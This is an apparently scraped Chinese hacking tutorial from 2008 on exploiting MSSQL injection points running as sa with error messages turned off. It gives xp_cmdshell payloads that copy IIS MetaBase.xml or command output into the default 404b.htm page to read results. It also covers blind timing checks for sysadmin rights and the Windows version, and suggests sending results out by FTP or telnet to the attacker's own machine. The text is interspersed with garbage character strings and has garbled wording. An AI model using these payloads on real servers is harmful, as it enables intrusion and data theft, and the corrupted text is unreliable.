遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。. G+ h% x& q1 v, O
6 k" [8 |/ J2 Y I
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
9 _3 x p$ j8 K- J; n0 @, ?+ R, p. k0 |" D
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。# Y# x/ K% t0 H3 e0 G, r/ V
0 ~4 B' V% k' l
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm b0 ^7 s& t x+ l# E* c1 o
- H, I% U* K) H: P9 f 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
" X% A' W8 Q% h9 h7 ^3 L5 P# C7 ^0 i
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
7 l; [6 E& l2 Z* n
, @% [# S1 a$ ~% X }, A# V 执行命令得到回显. B" U! x) H% H: @3 N' N. D
, g9 B' q& I: A 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
1 r3 l3 }2 j) q0 ^, x! m1 H9 W9 I- _) Y
得到文件也shi相同,把文件copy到404b.htm就行了
. ?. @2 N. \9 {* H( [4 J6 J- ?7 ~% K, V7 Q2 h2 ], \5 F0 I
by 28ice, 2008/6/267 S0 P2 M# ?2 l9 x; ?! i8 U2 i+ ~
- L( d1 q x# t$ w; u" \ 摘自 28度的冰
# j. O, D. m6 N
* v5 \9 i, Q9 T7 q4 F7 A 盲注判断权限和操作系统版本) S' J5 t7 Y0 c# C# I
$ G5 c9 G* N/ ^, I 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
" x& U+ _% I o) v3 w3 ~7 {0 J g c6 y
最简单的,可能以用这样的方法:! R8 ~3 S6 N+ b2 U0 h H3 l
& E% S" l- t5 [/ H
1=(select IS_SRVROLEMEMBER(’sysadmin’))
9 O1 F8 |, X0 j8 N# b, D+ I) K& P
) f5 d( R7 [' x/ Y' a2 C. j3 r5 e 当然,有些情况下,这个方法并不奏效。
! |! y0 M/ V: r4 s7 l; |! u1 k+ F5 N3 K% Y Q. F8 [3 t
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。; `' K- Y0 ^ Z; Z$ e0 b8 k+ Y
/ g1 v# y' K0 g$ H 有个3办法可能以解决这个问题4 Z2 R7 G' `2 s/ D& `( o. c5 j
! ^$ ]3 J0 o- w, p o
a.把执行结果写到404b.htm,具体请看我的上一篇文章
1 A; k1 X7 v: l* E x
/ m+ D* K9 r8 `& P* m* w b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
' B6 J/ o( t9 D) M; h9 a/ \& F6 G% z! V$ v% O |' ]
c.如果1433端口可能以连接,那干脆新建个sql登录
. x8 R5 D: J$ N5 u9 w9 ]
4 d" T$ e3 ]3 I7 {# a, q% ^9 B/ v6 x d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
( W% W ?. e) E& N) H% ]( t3 I4 u# c( B3 m! O: H
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
; s- [+ }2 l; G! Y' ]- [5 n8 ^/ ]% u
/ e9 F& c+ x+ z0 _+ u 很简单' x- o0 P# C s0 ]: `
- f$ e1 O, E) O+ A7 G+ t
执行systeminfo
' M6 W8 l* V% e+ C
; c+ j- u' `$ c4 g, o 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |